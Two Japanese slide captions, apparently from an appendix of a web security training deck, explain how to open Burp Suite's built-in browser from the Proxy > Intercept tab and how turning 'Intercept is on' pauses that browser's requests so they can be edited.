207. Appendix 4. Burp Suiteの使い方 「Proxy」→ 「Intercept」 「Open browser」をクリックする ことで組み込みブラウザが起動 206
208. Appendix 4. Burp Suiteの使い方 「Intercept is on」の状態にす ると、起動したブラウザで発生 したリクエストを中断して編集 できる 207